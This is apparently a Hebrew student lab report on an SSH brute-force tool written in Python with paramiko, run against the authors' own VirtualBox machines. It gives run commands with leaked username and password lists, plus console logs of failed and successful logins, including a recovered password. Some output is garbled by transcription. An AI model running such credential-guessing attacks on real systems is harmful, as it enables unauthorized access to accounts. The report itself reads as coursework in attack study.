

חלק מעשי

מגישים:

רז אלכז 207276775

יובל בר מעוז 314878877

שפת כתיבה:

Python 3.8

דרישות:

Python גרסה 3.8

- Python pip
- Python module logging
- Python module paramiko
- Python module colorama
- Python module argparse
- Python module threading

מבוא:

במטלה זו התבקשנו לבצע מימוש של מתקפת SSH, המתקפה שבחרנו היא Brute Force Attack.

התוכנית שלנו תרוץ על רשימה של שמות משתמשים ורשימה של סיסמאות שהודלפו, תנסה כל קומבינציה אפשרית עד אשר תצליח למצוא התאמה. לאחר שתצליח לבצע התאמה, "התוקף" ינצל את פתח הכניסה לארגון ויוכל להשיג את מטרותיו.

שימוש בספריות חשובות במטלה:

pip

pip הוא מתקין החבילות עבור Python. אתה יכול להשתמש בו כדי להתקין חבילות מאינדקס החבילות של Python ואינדקסים אחרים.

The Logging Module

מודול הרישום ב-Python הוא מודול מוכן לשימוש וחזק שנועד לענות על הצרכים של מתחילים כמו גם צוותים ארגוניים. הוא משמש את רוב ספריות Python של צד שלישי, כך שתוכל לשלב את הודעות היומן שלך עם אלה מהספריות הללו כדי לייצר יומן הומוגניות עבור היישום שלך.

כאשר מודול הרישום מיובא, אתה יכול להשתמש במשהו שנקרא "logger" כדי לרשום הודעות שאתה רוצה לראות. כברירת מחדל, ישנן 5 רמות סטנדרטיות המציינות את חומרת האירועים. לכל אחד יש שיטה מתאימה שניתן להשתמש בה לתיעוד אירועים ברמת חומרה זו. הרמות המוגדרות, לפי סדר חומרת הגובר, הן כדלקמן:

- לנפות
- מידע
- אזהרה
- נשיגה
- קריטי

מודול הרישום מספק לך logger ברירת מחדל המאפשר לך להתחיל בלי צורך לבצע הגדרות רבות.

Module paramiko

Paramiko הוא יישום של פרוטוקול SSHv2 ב-Paramiko. Python מספקת פונקציונליות של שרת לקוח. הספר מכסה רק את הפונקציונליות של הלקוח. מכיוון ש-Paramiko אינו חלק מספריית המודולים הסטנדרטית של Python, יש להתקין אותה.

החיבור נוצר בדרך זו: ראשית, לקוח נוצר והגדרת תצורת לקוח, לאחר מכן חיבור מופעל ומוחזרת הפעלה אינטראקטיבית:

```
In [2]: client = paramiko.SSHClient()
```

```
In [3]: client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
```

```
In [4]: client.connect(hostname="192.168.100.1", username="cisco",  
password="cisco",
```

```
...: look_for_keys=False, allow_agent=False)
```

```
In [5]: ssh = client.invoke_shell()
```

SSHClient היא מחלקה המייצגת חיבור לשרת SSH. הוא מבצע אימות לקוח. מחרוזת set_missing_host_key_policy היא אופציונלית, היא מציינת באיזו מדיניות להשתמש בעת חיבור לשרת שהמפתח שלו לא ידוע. מדיניות paramiko.AutoAddPolicy() הוסף אוטומטית שם מארח ומפתח חדשים לאובייקט HostKeys המקומי.

Method connect מתחבר לשרת SSH ומאמת את החיבור. פרמטרים:

- look_for_keys - כברירת מחדל paramiko מבצעת אימות מפתח. כדי להשבית זאת, שים את הדגל ב-False
- paramiko - allow_agent יכול להתחבר לסוכן SSH מקומי. זה הכרחי כאשר עובדים עם מפתחות ומכיוון שבמקרה זה האימות נעשה על ידי התחברות/סיסמה, יש לבטל אותו.

לאחר ביצוע הפקודה הקודמת כבר יש חיבור לשרת. השיטה invoke_shell מאפשרת להגדיר הפעלת SSH אינטראקטיבית עם השרת.

Colorama

מודולים וספריות מובנים רבים קיימים ב-Python כדי להדפיס את הטקסט הצבעוני בטרמינל. ה-Colorama הוא אחד ממודולי Python המובנים להצגת הטקסט בצבעים שונים. הוא משמש כדי להפוך את הקוד לקריאה יותר. שלוש אפשרויות עיצוב זמינות במודול זה לצביעת טקסט. אלה הם Back, Fore ו-Style. ניתן לשנות את צבע הרקע או החזית של הטקסט ואת סגנון הטקסט באמצעות מודול זה. שימושים שונים במודול זה הוסברו במדריך זה.

argparse - מנתח עבור אפשרויות שורת פקודה, ארגומנטים ותתי פקודות

מודול argparse מקל על כתיבת ממשקי שורת פקודה ידידותיים למשתמש. התוכנית מגדירה אילו ארגומנטים היא דורשת, ו-argparse יבין כיצד לנתח אותם מתוך sys.argv. מודול argparse גם מייצר אוטומטית הודעות עזרה ושימוש ומוציא שגיאות כאשר משתמשים נותנים לתוכנית ארגומנטים לא חוקיים.

Python module threading

מודול זה בונה ממשקי השרשור ברמה גבוהה יותר על גבי מודול thread_ ברמה נמוכה יותר. לסנכרון מסופקים מנעולים פשוטים (הנקראים גם mutexes או סמפורים בינאריים). מודול השרשור מספק ממשק API לשרשור קל יותר לשימוש וברמה גבוהה יותר שנבנה על גבי מודול זה.

הרצה (Linux):

(1) התקן את המודולים הדרושים במטלה

(2) **Brute force** של משתמש יחיד:

```
python3 brute_force_ssh.py -i IP -u USERNAME -P
leaked_lists/passwords.txt
```


(3) **Brute force** של כל המשתמשים:

```
python3 brute_force_ssh.py -i IP -U leaked_lists/usernames.txt -P
leaked_lists/passwords.txt
```

תמונות מההרצה:

Brute force של משתמש יחיד

```
yuval@yuval-VirtualBox-1:~/bruteforce/Brutal_SSH-master$ python3 brute_force_ssh.py -l 192.168.56.101 -u yuval -P leaked_lists/passwords.txt
```



```
[X] yuval : root Rejected
[X] yuval : 12345 Rejected
[X] yuval : P@ssw0rd Rejected
[X] yuval : ariel Rejected
[X] yuval : Abc123 Rejected
[X] yuval : linux Rejected
[V] yuval : sh1o098 Connected
[X] yuval : 123456789 Rejected
[X] yuval : Qwertyu1op Rejected
[X] yuval : M0rdeha1 Rejected
[X] yuval : DEF4ULT Rejected
[X] yuval : 123456 Rejected
[X] yuval : 12345678 Rejected
[X] yuval : password Rejected
[X] yuval : raze1baz Rejected
[X] yuval : 1q2w3e Rejected
[X] yuval : 123321 Rejected
[X] yuval : h@rdP@ss Rejected
[X] yuval : 1234567 Rejected
[X] yuval : 654321 Rejected
[X] yuval : yuvalbarnaoz Rejected
[X] yuval : 111111 Rejected
[X] yuval : wall Rejected
[X] yuval : Password Rejected
[X] yuval : sql Rejected
[X] yuval : 123123 Rejected
[X] yuval : Qwerty123 Rejected
[X] yuval : am1tdv1r Rejected
[X] yuval : Qwerty Rejected
[X] yuval : 1234567890 Rejected
Acceptable usernames and passwords: ['yuval', 'sh1o098']
yuval@192.168.56.101's password:
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-47-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

5 updates can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list --upgradable

30 updates could not be installed automatically. For more details,
see /var/log/unattended-upgrades/unattended-upgrades.log
Last login: Wed Sep  7 17:21:42 2022 from 192.168.56.100
yuval@yuval-VirtualBox-2: $
```

כפי שניתן לראות אנו מריצים את התוכנית עם שם משתמש של יוזר ספציפי ומחתינים שהתוכנית תבצע את התקיפה ותמצא עבורנו את הסיסמא המתאימה לאותו שם משתמש. התוכנית מבצעת התקיפה על ידי מעבר על רשימת הסיסמאות אשר נדלפה, תנסה לבצע חיבור של השם משתמש הספציפי שהכנסנו וכל סיסמא אפשרית, במידה וקיימת התאמה נראה את ההדפסה "Connected" ואם אין נראה את ההדפסה "Rejected".

לאחר שנמצאה הסיסמא, יודפס לנו שם המשתמש והסיסמא המתאימים

Acceptable usernames and passwords: ['yuval', 'sh1o098']

ואז התוקף יוכל להקליד את הסיסמא שנמצאה, להתחבר ולהשיג את המטרה שלו:

yuval@192.168.56.101's password:

הרצה באWireshark:

Wireshark packet capture showing an SSH session. The packet list on the left shows a sequence of packets from 988 to 1015. The packet details pane on the right shows the structure of the selected packet (Frame 1: 148 bytes on wire). The packet bytes pane at the bottom shows the raw hex and ASCII data of the selected packet.

כפי שניתן לראות התוכנית שלנו מבצעת את התקיפה בשימוש בפרוטוקול ssh.

ניסיון תקיפה כושל (אין התאמה בין שם משתמש לסיסמא כלשהי ברשימה):

```
yuvai@yuvai-VirtualBox-1:~/bruteforce/Brutal_SSH-master$ python3 brute_force_ssh.py -i 192.168.56.101 -u toor -P leaked_lists/passwords.txt
```

```

  0000  00 00 00 01 00 00 00 00 27 3e ef b5 00 00 00 00  E...@ 5...8e
  0010  45 00 00 84 13 3c 40 00 40 06 35 1e c0 a8 38 65  E...Z
  0020  c0 a8 38 64 00 16 c7 5a 1a f3 b0 95 fc cf fe 04  --Bd...Z
  0030  80 18 01 f6 b6 32 00 00 01 01 08 0a 76 6a e1 fd  --2...vj...
  0040  13 ca cc 40 15 5c d0 e0 ff 27 76 83 48 a4 1e a7  --@...\..v.H...
  0050  35 19 5e ed ee 6a 58 5f 71 7c 53 88 00 ea 0f 46  5A...jX...q|S...F
  0060  e3 a0 97 46 f5 79 99 f4 5a 55 b4 92 bc 8c 67 08  --F.y...ZU...g...
  0070  d6 83 0d da ec 56 ff b9 bb b0 ae d0 ff 33 6e 61  --V...3na
  0080  9c 8d ab 41 bf 8a c2 dc 7b 34 9f ac bc a2 3d da  --A...{4...=:
  0090  dd 1e f0 9a

```

```

[X] toor : 12345 Rejected
[X] toor : P0ssw0rd Rejected
[X] toor : kali Rejected
[X] toor : 1234567890 Rejected
[X] toor : Abc123 Rejected
[X] toor : 654321 Rejected
[X] toor : Qwerty123 Rejected
[X] toor : M0rdeh4l Rejected
[X] toor : an1tdv1r Rejected
[X] toor : 123123 Rejected
[X] toor : sgl Rejected
[X] toor : 123456789 Rejected
[X] toor : 123456 Rejected
[X] toor : root Rejected
[X] toor : 111111 Rejected
[X] toor : DEFAULT Rejected
[X] toor : 1q2w3e Rejected
[X] toor : Password Rejected
[X] toor : linux Rejected
[X] toor : 1234567 Rejected
[X] toor : Qwertyulop Rejected
[X] toor : h0rdP0ss Rejected
[X] toor : password Rejected
[X] toor : Qwerty Rejected
[X] toor : r4zelb4z Rejected
[X] toor : 12345678 Rejected
[X] toor : yuvalbarnaoz Rejected
[X] toor : ariel Rejected
[X] toor : 123321 Rejected
[X] toor : sh1o098 Rejected
You failed the attack!!!!
yuvai@yuvai-VirtualBox-1:~/bruteforce/Brutal_SSH-master$

```

ניסיון תקיפה כושל (ה-IP):

```

[~] Starting net scan
yuval@yuval-VirtualBox-11: /bruteforce/brutal_ssh-master$ python3 brute_force_ssh.py -i 192.168.56.106 -u yuval -P leaked_lists/passwords.txt

SSH

[~] yuval : root1234567890 Connection Error
[~] yuval : 654321 Connection Error
[~] yuval : 1234567890 Connection Error
[~] yuval : Qwertyuiop Connection Error
[~] yuval : yuval34567890 Connection Error
[~] yuval : M0rdehah Connection Error
[~] yuval : 123321 Connection Error
[~] yuval : Qwerty123 Connection Error
[~] yuval : Abc123 Connection Error
[~] yuval : ariel Connection Error
[~] yuval : Qwerty Connection Error
[~] yuval : am1tdv1r Connection Error
[~] yuval : sh10098 Connection Error
[~] yuval : 123456 Connection Error
[~] yuval : P@ssw0rd Connection Error
[~] yuval : 123123 Connection Error
[~] yuval : Password Connection Error
[~] yuval : DEFAULT Connection Error
[~] yuval : sql Connection Error
[~] yuval : kait Connection Error
[~] yuval : h@rdP@ss Connection Error
[~] yuval : 12345 Connection Error
[~] yuval : 123456789 Connection Error
[~] yuval : 1234567 Connection Error
[~] yuval : root Connection Error
[~] yuval : linux Connection Error
[~] yuval : password Connection Error
[~] yuval : 1q2w3e Connection Error
[~] yuval : 111111 Connection Error
[~] yuval : 12345678 Connection Error
You failed the attack!!!!!!

yuval@yuval-VirtualBox-11: /bruteforce/brutal_ssh-master$ python3 brute_force_ssh.py -i 192.168.56.106 -u yuval -P leaked_lists/passwords.txt

```


Brute force של כל המשתמשים

```

yuya@yuya-VirtualBox-1:~/bruteforce/Brutal_SSH-master$ python3 brute_force_ssh.py -t 192.168.56.101 -U leaked_lists/usernames.txt -P leaked_lists/passwords.txt

SSH

[+] yuval2 : linux Rejected
[+] yuval2 : hgrdpgss Rejected
[+] yuval2 : Qwerty Rejected
[+] yuval2 : P@ssw0rd Rejected
[+] yuval2 : anttdvir Rejected
[+] yuval2 : 1q2w3e Rejected
[+] yuval2 : sh10098 Rejected
[+] yuval2 : 123456789 Rejected
[+] yuval2 : 123123 Rejected
[+] yuval2 : ar1e1 Rejected
[+] yuval2 : Qwerty123 Rejected
[+] yuval2 : k4ll Rejected
[+] yuval2 : 1234567 Rejected
[+] yuval2 : 111111 Rejected
[+] yuval2 : Qwertyu0p Rejected
[+] yuval2 : 12345678 Rejected
[+] yuval2 : DEFAULT Rejected
[+] yuval2 : password Rejected
[+] yuval2 : root Rejected
[+] yuval2 : Abc123 Rejected
[+] yuval2 : yuvalbarnaoz Rejected
[+] yuval2 : 12345 Rejected
[+] yuval2 : 654321 Rejected
[+] yuval2 : r4telb4z Rejected
[+] yuval2 : sql Rejected
[+] yuval2 : 1234567890 Rejected
[+] yuval2 : 123456 Rejected
[+] yuval2 : Password Rejected
[+] yuval2 : M0rdeh4l Rejected
[+] yuval2 : 123321 Rejected
[+] raz5 : linux Rejected
[+] raz5 : hgrdpgss Rejected
[+] raz5 : Qwerty Rejected
[+] raz5 : P@ssw0rd Rejected
[+] raz5 : anttdvir Rejected
[+] raz5 : 123456789 Rejected
[+] raz5 : 123123 Rejected
[+] raz5 : ar1e1 Rejected
[+] raz5 : Qwerty123 Rejected
[+] raz5 : 1234567 Rejected
[+] raz5 : Qwertyu0p Rejected
[+] raz5 : k4ll Rejected
[+] raz5 : 111111 Rejected
[+] raz5 : 12345678 Rejected
[+] raz5 : DEFAULT Rejected
[+] raz5 : password Rejected
[+] raz5 : root Rejected
[+] raz5 : yuvalbarnaoz Rejected
[+] raz5 : Abc123 Rejected
[+] raz5 : 12345 Rejected
[+] raz5 : 654321 Rejected
[+] raz5 : r4telb4z Rejected
[+] raz5 : sql Rejected
[+] raz5 : 1234567890 Rejected
[+] raz5 : Password Rejected
[+] raz5 : M0rdeh4l Rejected
[+] raz5 : 123321 Rejected
[+] raz5 : 123456 Rejected
[+] toor : linux Rejected
[+] toor : hgrdpgss Rejected
[+] toor : Qwerty Rejected
[+] toor : P@ssw0rd Rejected
[+] toor : anttdvir Rejected
[+] toor : 123456789 Rejected
[+] toor : sh10098 Rejected
[+] toor : 123123 Rejected
[+] toor : 1q2w3e Rejected
[+] toor : ar1e1 Rejected
  
```

מבוסס על אותו רעיון כמו על הרצה יחידה, רק שהפעם התוכנית תנסה כל קומבינציה אפשרית של שם משתמש מהרשימה שנדנפה עם כל סיסמא מרשימת הסיסמאות שדנפו.

הרצה באWireshark:

